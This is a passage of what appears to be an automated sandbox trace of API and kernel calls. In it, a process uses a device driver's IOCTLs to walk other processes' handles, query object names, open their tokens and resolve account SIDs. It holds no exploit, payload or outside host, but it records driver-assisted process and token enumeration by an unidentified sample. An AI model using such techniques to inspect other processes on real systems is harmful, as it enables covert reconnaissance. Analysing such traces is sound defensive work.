TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.086] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.086] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.086] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.086] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.088] CloseHandle (hObject=0xc8) returned 1 [0075.088] CloseHandle (hObject=0xc0) returned 1 [0075.088] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.088] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.088] PsAcquireProcessExitSynchronization () returned 0x0 [0075.088] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054f85d0) [0075.088] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0075.088] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.088] PsReleaseProcessExitSynchronization () returned 0x2 [0075.088] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0075.088] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003493044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003493044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.088] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0075.088] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.088] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.088] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0075.088] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.088] PsAcquireProcessExitSynchronization () returned 0x0 [0075.088] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054f85d0) [0075.088] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0075.088] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.088] PsReleaseProcessExitSynchronization () returned 0x2 [0075.088] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0075.088] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.088] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0075.088] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.089] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.089] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.089] PsAcquireProcessExitSynchronization () returned 0x0 [0075.089] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880054f85d0) [0075.089] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.089] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.089] PsReleaseProcessExitSynchronization () returned 0x2 [0075.089] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0075.089] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.089] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.089] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.089] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0075.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.089] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0075.089] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.089] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0075.089] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.089] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.089] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.089] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.089] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.091] CloseHandle (hObject=0xc8) returned 1 [0075.091] CloseHandle (hObject=0xc0) returned 1 [0075.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.091] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.091] PsAcquireProcessExitSynchronization () returned 0x0 [0075.091] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054f85d0) [0075.091] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0075.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.091] PsReleaseProcessExitSynchronization () returned 0x2 [0075.091] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0075.091] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.091] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0075.091] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.091] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0075.091] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.091] PsAcquireProcessExitSynchronization () returned 0x0 [0075.091] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054f85d0) [0075.092] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0075.092] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.092] PsReleaseProcessExitSynchronization () returned 0x2 [0075.092] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0075.092] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.092] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0075.092] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.092] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.092] PsAcquireProcessExitSynchronization () returned 0x0 [0075.092] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880054f85d0) [0075.092] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.092] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.092] PsReleaseProcessExitSynchronization () returned 0x2 [0075.092] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0075.092] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.092] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.092] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.092] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0075.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.092] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0075.092] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.092] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0075.092] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.092] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.092] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.092] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.093] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.094] CloseHandle (hObject=0xc8) returned 1 [0075.094] CloseHandle (hObject=0xc0) returned 1 [0075.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.094] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.094] PsAcquireProcessExitSynchronization () returned 0x0 [0075.094] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054f85d0) [0075.094] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0075.094] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.094] PsReleaseProcessExitSynchronization () returned 0x2 [0075.094] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0075.094] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.094] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0075.094] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.094] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0075.094] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.094] PsAcquireProcessExitSynchronization () returned 0x0 [0075.094] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054f85d0) [0075.095] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0075.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.095] PsReleaseProcessExitSynchronization () returned 0x2 [0075.095] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0075.095] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.095] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0075.095] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.095] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.095] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.095] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.095] PsAcquireProcessExitSynchronization () returned 0x0 [0075.095] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880054f85d0) [0075.095] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.095] PsReleaseProcessExitSynchronization () returned 0x2 [0075.095] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0075.095] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.095] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.095] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.095] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0075.095] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.095] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0075.095] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.095] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x12 [0075.095] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.095] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.095] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.095] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.096] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.097] CloseHandle (hObject=0xc8) returned 1 [0075.097] CloseHandle (hObject=0xc0) returned 1 [0075.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.097] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.097] PsAcquireProcessExitSynchronization () returned 0x0 [0075.097] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054f85d0) [0075.097] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0075.097] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.097] PsReleaseProcessExitSynchronization () returned 0x2 [0075.097] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0075.097] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.097] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0075.097] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.097] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0075.097] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.097] PsAcquireProcessExitSynchronization () returned 0x0 [0075.097] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054f85d0) [0075.098] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0075.098] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.098] PsReleaseProcessExitSynchronization () returned 0x2 [0075.098] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0075.098] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.098] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0075.098] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.098] HeapFree (in: hHeap=0x150000, dwFlags=0x0, 